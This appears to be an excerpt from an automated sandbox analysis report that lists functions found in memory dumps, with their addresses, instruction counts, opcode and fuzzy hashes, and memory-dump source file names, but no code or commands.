Opcode ID: 4f43bcfa695e9e649415332289baed97911052e9143740a6e5a8b7a1bf626b90
Instruction ID: 290c5daa646610ed8ecd4194088f695892f8023c517022f675dd58950c55ab52
Opcode Fuzzy Hash: 4f43bcfa695e9e649415332289baed97911052e9143740a6e5a8b7a1bf626b90
Instruction Fuzzy Hash: 8E13FD34911704DFCB1AAF60D4609D9B736FF99306F2088AADC6136B58CB3B8956DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00C104C8, Relevance: 1.6, Strings: 1, Instructions: 377COMMON

Download Yara Rule

Strings

{\m^, xrefs: 00C10531

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID: {\m^
API String ID: 0-2996398201
Opcode ID: 94f60ca712377407e30f3bdf8c0226444825071253b4db4350ab84e0dc5bab3b
Instruction ID: 4620e27c6af0b1c5226aee389e25b42b03b906578a3d9290636cbf2e08d25766
Opcode Fuzzy Hash: 94f60ca712377407e30f3bdf8c0226444825071253b4db4350ab84e0dc5bab3b
Instruction Fuzzy Hash: 9CE19331600615DFCB169FA0C914EA97BB2FF89310F1541E8E6099B2B2DB71DE94EF81

Uniqueness

Uniqueness Score: -1.00%

Function 00C104BC, Relevance: 1.6, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

{\m^, xrefs: 00C10531

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID: {\m^
API String ID: 0-2996398201
Opcode ID: 28c1aed80c66766cbafd88b9fb2d5fc2d8be4a81e1915ada9f0e5a1a13fef26e
Instruction ID: 1554c577f8f4661fc84f500766e7782003f8dfc275aff136cc7dbf3902393b1d
Opcode Fuzzy Hash: 28c1aed80c66766cbafd88b9fb2d5fc2d8be4a81e1915ada9f0e5a1a13fef26e
Instruction Fuzzy Hash: DBD16D32600615DFCB169FA0C904E997BB6FF49310F1641E8E6499B2B2DBB2D994EF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F088, Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03deb0211f8dea9e9f06234d05bad60a86c52852d49a40979dde4d0c09f9e82
Instruction ID: d09c10d42aa0fbaa980f1942d923463a43299cf0c53e79a430af0b70932c935f
Opcode Fuzzy Hash: c03deb0211f8dea9e9f06234d05bad60a86c52852d49a40979dde4d0c09f9e82
Instruction Fuzzy Hash: FCE1AD747002149FCB14DF78C894AAAB7F6EF8A314F1584A9E906CB3A2DB30DD42DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E398, Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5219031d2fac976c40896fba7c503e872712252c365d341933624ec8005bae
Instruction ID: d0601209c4a33bed833a1dd754f130e4ec6b2c0c19aaab8bcb16cae806302f02
Opcode Fuzzy Hash: 6c5219031d2fac976c40896fba7c503e872712252c365d341933624ec8005bae
Instruction Fuzzy Hash: 07E17034A00209DFCB14DFA4D494A9DBBB2FF89314F148968E816DB3A0DB30ED85DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C15BA8, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6300bf6b65845b484e0c42e3e8e6dcd5a7e2f2dab252fd5056661be8fb83165
Instruction ID: 8096950d678988e150ba01bfe654dd387872d93d1c585c821c979078bb61329d
Opcode Fuzzy Hash: f6300bf6b65845b484e0c42e3e8e6dcd5a7e2f2dab252fd5056661be8fb83165
Instruction Fuzzy Hash: 8261E432B00500DFCB54ABB9E0545AE37BBEBCA351B10C4B9D946DB348DF348D428B92

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D440, Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee086abf833d877d4d719d0d7e7bf2abd953350b70707e1dd403dbbe91d9afa
Instruction ID: 03fdf882ee8f5367cdae8e140dda5ad09a5bed8393d6f4e10395b27d044618e4
Opcode Fuzzy Hash: 8ee086abf833d877d4d719d0d7e7bf2abd953350b70707e1dd403dbbe91d9afa
Instruction Fuzzy Hash: 8C719E70E003098FDB14DFA8C45469EB7F2AFC9304F24856AE906EB394DB709D86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E388, Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8203f35876f554496f809c26dc8604cdc98e98ce4015460a9288de6cf517c048
Instruction ID: a05b66b906327fcf7cbc0527a7401763e69b8c4a390fbbd81c9cdfce083846c4
Opcode Fuzzy Hash: 8203f35876f554496f809c26dc8604cdc98e98ce4015460a9288de6cf517c048
Instruction Fuzzy Hash: A1811778A00209DFCB04DF64D494A9DBBB2FF89315B148569E81AEB361DB30ED81DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D228, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6708864902cfa2f87e09c190f0e710dde7afbf0c942c5328f62c4ccfbb3994
Instruction ID: 02ca2a92d3850280a311804c249cc8a344c383de61fe3a6265719f4c0f485013
Opcode Fuzzy Hash: 5b6708864902cfa2f87e09c190f0e710dde7afbf0c942c5328f62c4ccfbb3994
Instruction Fuzzy Hash: 3E511B34A01219DFDB18DFA4E854AEDBBB6FF89314F114029E912A7360DB34AD81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E759, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e57cf29b7292f324d9fd5ae8a6f5ef67956d0e7d60d4e8383adcd97ba60717
Instruction ID: 6d064f15a2c86b27d3c5b550e1d296bc68c075843c4a3c1cdcd6f9727d505779
Opcode Fuzzy Hash: 03e57cf29b7292f324d9fd5ae8a6f5ef67956d0e7d60d4e8383adcd97ba60717
Instruction Fuzzy Hash: A451F838A00209DFDB14DFA4D984A9DBBB2FF49310F158465E915AB360DB31ED82DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C12A83, Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8d732496662a7d93d5fcc98e3d2ab0e1729009f5dc8dc66ad9b040f06e74cd
Instruction ID: 62974554cebcf3fe8f9326435a00565752ba2e02c60d2180ceb8e7cf61af429f
Opcode Fuzzy Hash: 5f8d732496662a7d93d5fcc98e3d2ab0e1729009f5dc8dc66ad9b040f06e74cd
Instruction Fuzzy Hash: F4412330B00508CBCB44BBB8D5541ADB7B6FFCA311B548A19E653573D8DF30A969C792

Uniqueness

Uniqueness Score: -1.00%

Function 00C12A88, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a51e1db9f79dd9fa4490c6d9cec65ae414b25eb367274ebacd653bd5bcb9ae02
Instruction ID: 0555adb1525dd90e70c6cf4aada97ae7162a71e4efe09bf2f2103e8d05e9ec73
Opcode Fuzzy Hash: a51e1db9f79dd9fa4490c6d9cec65ae414b25eb367274ebacd653bd5bcb9ae02
Instruction Fuzzy Hash: 24412330B00508CBCB44BBB8D5541ADB7B6FFCA311B548A19E653573D8DF30A968C792

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D720, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2627f1d7617743a149808b7945a11f0d2c73c3bfd4bb166f97ef8703f73fb7b9
Instruction ID: a15fb11b86553c3a5232114a800c0bea764fb930c7a60d6c3f4dbc7bd9c009ca
Opcode Fuzzy Hash: 2627f1d7617743a149808b7945a11f0d2c73c3bfd4bb166f97ef8703f73fb7b9
Instruction Fuzzy Hash: BB41E074B042048FC704DBA8D4547AEBBF6EBC6310F1484AAD90ADB395DB358D82CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00C123E3, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a54c23ed228d5f094a12e3699505a910eb2508abb9e5d51ae66817e86a0aa3d
Instruction ID: b389c3aea8d2d06831bf3d477db82da3f6840a104ed6d8c5a209c20f9d38091b
Opcode Fuzzy Hash: 3a54c23ed228d5f094a12e3699505a910eb2508abb9e5d51ae66817e86a0aa3d
Instruction Fuzzy Hash: EB318134F042048FC788EB78D45466EBBF6EBC820171588AAEA06D3355DF349D568BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C150FF, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 436d08d821eb8fb84a5741b6adce671c37fe34f6c29728ae7d2c7c00b8abd918
Instruction ID: e616fb94b6827651ae8ee1fa1343795eaadc0ad7a0d57c571f81b89fd6585368
Opcode Fuzzy Hash: 436d08d821eb8fb84a5741b6adce671c37fe34f6c29728ae7d2c7c00b8abd918
Instruction Fuzzy Hash: B1418B35D04608EFCB42EFE0E80599DBFB6FB4C300F14889AE601A7265DB315A65EF51

Uniqueness

Uniqueness Score: -1.00%

Function 00C17E81, Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4e455af33f75f126f3614f23f61c220a9fb0ae8070abe4f1c073c49fbcb1111
Instruction ID: 0fe278c31e4fff4b24a30582fd33f6ed57a77b327f12606181d442320d535f1e
Opcode Fuzzy Hash: c4e455af33f75f126f3614f23f61c220a9fb0ae8070abe4f1c073c49fbcb1111
Instruction Fuzzy Hash: C1314830B097905FC315A378A8545AE7BF69FC62017088DFAD546C7796EF349C0B8392

Uniqueness

Uniqueness Score: -1.00%

Function 00C17D38, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7049160e76d7667636103d91ba2aaece038d8e46ab1931d7b481b52c00e677e
Instruction ID: e3ba032625778494da2202f498b23acca698cff05e60300c814640bf4512de52
Opcode Fuzzy Hash: a7049160e76d7667636103d91ba2aaece038d8e46ab1931d7b481b52c00e677e
Instruction Fuzzy Hash: 64313034B04208CFDB54DF68D4A8AAE77F6EF89710F1445A8E9069B3A4CF359D81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C10AE8, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afd4dfe7ee81ff6e6be94f9e5650d31c98cd4d55f7a0e81be53aa24eb40cded
Instruction ID: 93d515eb250c55d3c450af9cc3d39b8931a1619dfb8a11bb06a4a837d54ea4e4
Opcode Fuzzy Hash: 6afd4dfe7ee81ff6e6be94f9e5650d31c98cd4d55f7a0e81be53aa24eb40cded
Instruction Fuzzy Hash: AE31C1B0A082058FC704DB69C855AAEBBF1EF86304B6585AAE105DB3A1DB70ED81D791

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B0C0, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df32304e1f740124493b1003a8e00cbf9f2d36fd416fc276451c40ba65ccad9d
Instruction ID: 840f7994e1eddecc54ddb528bcd4216a95be5a11165182c51983e3da4b9ef5b4
Opcode Fuzzy Hash: df32304e1f740124493b1003a8e00cbf9f2d36fd416fc276451c40ba65ccad9d
Instruction Fuzzy Hash: 4D318B31D10B469BCB11EFB9D8002D9B770EF99324F25876AE559B7240EB70B5D4CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C17D28, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46aefafbb14131f6aceedd30a5672c931e236f5519dd0c58a8091e90ca41da7
Instruction ID: 182e6306cb46771a6840f2ea52d1e15ae733d132d280770f48724a3d939b764b
Opcode Fuzzy Hash: b46aefafbb14131f6aceedd30a5672c931e236f5519dd0c58a8091e90ca41da7
Instruction Fuzzy Hash: 50316B34B04608CFDB14DF68D4A8BEA7BF6EF89710F1445A8E506AB3A1CB359D81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B0D0, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8321491e47be9205bcef08d53a81dc5946746c95dfc35ebf69b8e227469029b9
Instruction ID: 9ed27ecf62d430c1f87c3ed6b4a38d17d4c8ae94e4251d90ddca5a90230bcc79
Opcode Fuzzy Hash: 8321491e47be9205bcef08d53a81dc5946746c95dfc35ebf69b8e227469029b9
Instruction Fuzzy Hash: 6E315931D10B0A8ADB10AFB9D800699B3B1EF99324F25875AE55977244EB70B5D4CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C183A8, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124d7743283ffd0935f0c43f867c364bcee74313bdcfc9c6108851a48a504f2d
Instruction ID: c5ebed489e0daa47fd9baf1baf1071acb14d0ed68db82c586af8537f6b54edd2
Opcode Fuzzy Hash: 124d7743283ffd0935f0c43f867c364bcee74313bdcfc9c6108851a48a504f2d
Instruction Fuzzy Hash: 4E31E535E007068BCB11AF79D4602EEB7B1FF85300B14866AD556B7345EF34AA86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00C15110, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6acb33656620ee8d0f739b9419817d1a5c87d046d398a064e65e57d6c0c10ed5
Instruction ID: 92dac2b3436afb888cfef4e358a9fd02f8d17799ddfbba2f88ec91f951e200cd
Opcode Fuzzy Hash: 6acb33656620ee8d0f739b9419817d1a5c87d046d398a064e65e57d6c0c10ed5
Instruction Fuzzy Hash: 7F311A35D04509EFCB42EFE4E84899DBFB6FB4C301B048899EA01A7264DB315A64EF51

Uniqueness

Uniqueness Score: -1.00%

Function 00C183B8, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f85fba3f1f21a551ef0e5aa11f9b16be4e98ba0039979e6b8adec14ba96bb5b7
Instruction ID: 8ba8025b751b1d0055b90ea4e1f771e8e066259df9889e984803cef1c6d8ef0f
Opcode Fuzzy Hash: f85fba3f1f21a551ef0e5aa11f9b16be4e98ba0039979e6b8adec14ba96bb5b7
Instruction Fuzzy Hash: 0131C334E006068BDB11AFB8D4202EEB3F5FF89304B14856AD556B7345EF34AA86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C172F0, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc16a9c49a34e1f253dff4928d7dceff20dfd9852a0a70e4e5abbc2254becf8b
Instruction ID: 3cd80a1ba17e9e8a182308368f587eda90299b8cc1e73b1802bccf5d69ed86f4
Opcode Fuzzy Hash: fc16a9c49a34e1f253dff4928d7dceff20dfd9852a0a70e4e5abbc2254becf8b
Instruction Fuzzy Hash: D0213D39F083109FC74567B8E4184AE7BFAEBCA25531588BAEA05C7344EF318C128791

Uniqueness

Uniqueness Score: -1.00%

Function 00C15F03, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c07bf33e1a85ea0df22296dadd71a64825e1d52172b1251e133f9ae2d99f403
Instruction ID: c2d6989a40e24c9f43d3017046d05e49f334e2fe5479ec81696effb9febd9915
Opcode Fuzzy Hash: 3c07bf33e1a85ea0df22296dadd71a64825e1d52172b1251e133f9ae2d99f403
Instruction Fuzzy Hash: 83210332F052049FC740DBB8E8441ADBBB6EF8630171088AADA09DB350DF309E569B92

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F110, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bdca7fce84b52d76b097ef6886bcc72e7c9f96c36320af4e545f26bf43b75ab
Instruction ID: a61898da5efbcdef57721456a66caa436f09107dcf1d590e66ae3d4893254681
Opcode Fuzzy Hash: 5bdca7fce84b52d76b097ef6886bcc72e7c9f96c36320af4e545f26bf43b75ab
Instruction Fuzzy Hash: 8A21837460024AEFDB15DF64C844AAE7BB5FF86360F158079E9119B361DB30DD42DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D824, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549468478.0000000000B5D000.00000040.00000001.sdmp, Offset: 00B5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3445bc49617bc9e65977997bf5f23e1e14ce98d1455df41c0a017336bf4ab64
Instruction ID: ca686be9de8278189b28c4c1b8cedf89c4a678b1ac552230237be68c612adfb3
Opcode Fuzzy Hash: b3445bc49617bc9e65977997bf5f23e1e14ce98d1455df41c0a017336bf4ab64
Instruction Fuzzy Hash: 2F212471500240EFDF25CF50D8C0B66BBA5FB88315F2487E9ED480A245C336D859DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D3F0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549468478.0000000000B5D000.00000040.00000001.sdmp, Offset: 00B5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ffd1e9303cf7f99b85972df252e40321292a6e8fb7389a6565b2917a4279e7
Instruction ID: df1a7754b4bfbee2857b78f64ef4c9219cf09230f943fc08b884bcaa1f02951a
Opcode Fuzzy Hash: 26ffd1e9303cf7f99b85972df252e40321292a6e8fb7389a6565b2917a4279e7
Instruction Fuzzy Hash: E8210671504200DFCB21DF50D8C0B66BBA5FB84325F24CAE9EC054B356C336E85ADAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D4DC, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549468478.0000000000B5D000.00000040.00000001.sdmp, Offset: 00B5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c0f7be6a483527dd3e7cd9f6b0f0c27ce53b03c732a859b4c55a4d8160bfd8
Instruction ID: 1901fbaba6b97aad9c4f85c411def91b79dd1aca38d6723ee75914a875d45526
Opcode Fuzzy Hash: 97c0f7be6a483527dd3e7cd9f6b0f0c27ce53b03c732a859b4c55a4d8160bfd8
Instruction Fuzzy Hash: 6F210871504240DFDB11DF50E4C0B57BFA6FB94319F2486E9EC050B246D336D84ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B478, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6816b8d16eb87d14936e0213681d9cc0fb93b34010a0b0f195f0b363a8fb6526
Instruction ID: ae277db8d79b5b741e5abbac24caa9df0117643e8bd3959d4253445b67be0c80
Opcode Fuzzy Hash: 6816b8d16eb87d14936e0213681d9cc0fb93b34010a0b0f195f0b363a8fb6526
Instruction Fuzzy Hash: 7221B230B49690CBDB595B35A4193B93BA7DF42301F8488ADE24B87782DF39CD81EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C10AD8, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41987c3a84a309401d3a8aee0655aa8cf90d3b9054dfb3ec493aaf2854126fb
Instruction ID: 10239a396b300e655c10da950650957b68768bdc1dd382374efbc0b5cb05e79b
Opcode Fuzzy Hash: a41987c3a84a309401d3a8aee0655aa8cf90d3b9054dfb3ec493aaf2854126fb
Instruction Fuzzy Hash: 6C21F870A04205CFCB04CB59D940AAEF7F5EF85314F2544AAE505EB292DB70ECC0C755

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D5A4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549562325.0000000000B6D000.00000040.00000001.sdmp, Offset: 00B6D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04a5105d0701e58923ba80aaecad834da7723f223298a78e5e66ff987c84b9d
Instruction ID: a49f16270aae9ebaa366a6ab7392c14314955e2f1436fc82c432f659453ee700
Opcode Fuzzy Hash: c04a5105d0701e58923ba80aaecad834da7723f223298a78e5e66ff987c84b9d
Instruction Fuzzy Hash: 5921F575A04244DFCB00CF14C5C0B26BBA5FB88318F24C9ADD84D4B655C73AD845CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D3F4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549562325.0000000000B6D000.00000040.00000001.sdmp, Offset: 00B6D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f0edbf9ae6dcfa4a53768fe419622a57b0cea937ad5ed25c44737fc921f99b
Instruction ID: d06ac67edf2882521a3c8bcae01b051c5364357829501bb921afad723d36d23e
Opcode Fuzzy Hash: f5f0edbf9ae6dcfa4a53768fe419622a57b0cea937ad5ed25c44737fc921f99b
Instruction Fuzzy Hash: 3321F675A04240DFDB00DF10D8C4B6ABBA5FB84324F24C9B9D8494B346CB7EEC46CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B473, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e777cad9fd3c23480afc1fbf2cacfd68bc4722f9d6e415cc6220b651fbf5d77b
Instruction ID: 56e52f97de70bf8ae5cf7412526ae61820e95ae6b99f6e449272cbae027b6af5
Opcode Fuzzy Hash: e777cad9fd3c23480afc1fbf2cacfd68bc4722f9d6e415cc6220b651fbf5d77b
Instruction Fuzzy Hash: A1212630B4D290CBCB195B31B4192B93BB6DF12302B84C8ADE15B86642DF38CD82EF51

Uniqueness

Uniqueness Score: -1.00%

Function 00C15313, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58ecff934eeee737e10f1cab2b0fd2f7ed93d24580a8b890da835ea55ff3c705
Instruction ID: 50398955a6e2ad7facc06ce7d060d857ad9feacd1e7394239facb9fc848d699d
Opcode Fuzzy Hash: 58ecff934eeee737e10f1cab2b0fd2f7ed93d24580a8b890da835ea55ff3c705
Instruction Fuzzy Hash: C51187316007058BC720DF68D8809CEB7FAAFC5219B448E28E4598B664EB70FE5E97D0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B940, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c815a50da10a8064ffd6fe917a44e92039747c9f808df91cd2d540e9bc0c3dd9
Instruction ID: 9ea86cc5302a2c33c46671da1fbe3b93b3a239826b18513a8e0fb17649a95e87
Opcode Fuzzy Hash: c815a50da10a8064ffd6fe917a44e92039747c9f808df91cd2d540e9bc0c3dd9
Instruction Fuzzy Hash: D1116A30B00B0A9BC700EFA5D440A9AF7F6FFC4255B184D29D1159B764EB70BE5A8BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A558, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504070b59f6bf5cb2d15b3a8605cd93b2967f17a9996efa1d0a149d85b2606b4
Instruction ID: a74b9634c4be417530efcba4867bab70fa4790f116ffb36e29c48fc2de1f9ab0
Opcode Fuzzy Hash: 504070b59f6bf5cb2d15b3a8605cd93b2967f17a9996efa1d0a149d85b2606b4
Instruction Fuzzy Hash: 1F11C231B442006FC705EB749815B6E3BE69F86700F5084A6E905DB3D5DF348D0587A2

Uniqueness

Uniqueness Score: -1.00%

Function 00C1CD03, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef83196cf792b291a450ad1e1cfeaffa0b08cbd29b45a62763dd5e4953f32a4
Instruction ID: 4aa1670497785f86329f04046df95c803fc9ca615027659b03cb56387c956d4b
Opcode Fuzzy Hash: 0ef83196cf792b291a450ad1e1cfeaffa0b08cbd29b45a62763dd5e4953f32a4
Instruction Fuzzy Hash: BB11E7353057408FD355ABB5A88472ABBE7EBC6306F58487DE642C7382CA71AC068B45

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D81F, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549468478.0000000000B5D000.00000040.00000001.sdmp, Offset: 00B5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ac5ac8de510f3937c439f755c3b0d9d0d634772b361addb7b8537386bd9ac3
Instruction ID: bf0111dd27f4ed5bf16bdeb4c386daa284519dee71c879eadcbb841173912d88
Opcode Fuzzy Hash: a9ac5ac8de510f3937c439f755c3b0d9d0d634772b361addb7b8537386bd9ac3
Instruction Fuzzy Hash: CC219076504280DFDB16CF10D9C4B56BFB2FB88314F2486E9DD484A656C33AD45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D3EB, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.549468478.0000000000B5D000.00000040.00000001.sdmp, Offset: 00B5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4768df47c0c72382ddcae975d869f3692393f3f4822e6597009969694e5ed2
Instruction ID: afa05cd71989608e0ca67b42985a006ee345be51e6d3b745793fd89f93139b35
Opcode Fuzzy Hash: 9b4768df47c0c72382ddcae975d869f3692393f3f4822e6597009969694e5ed2
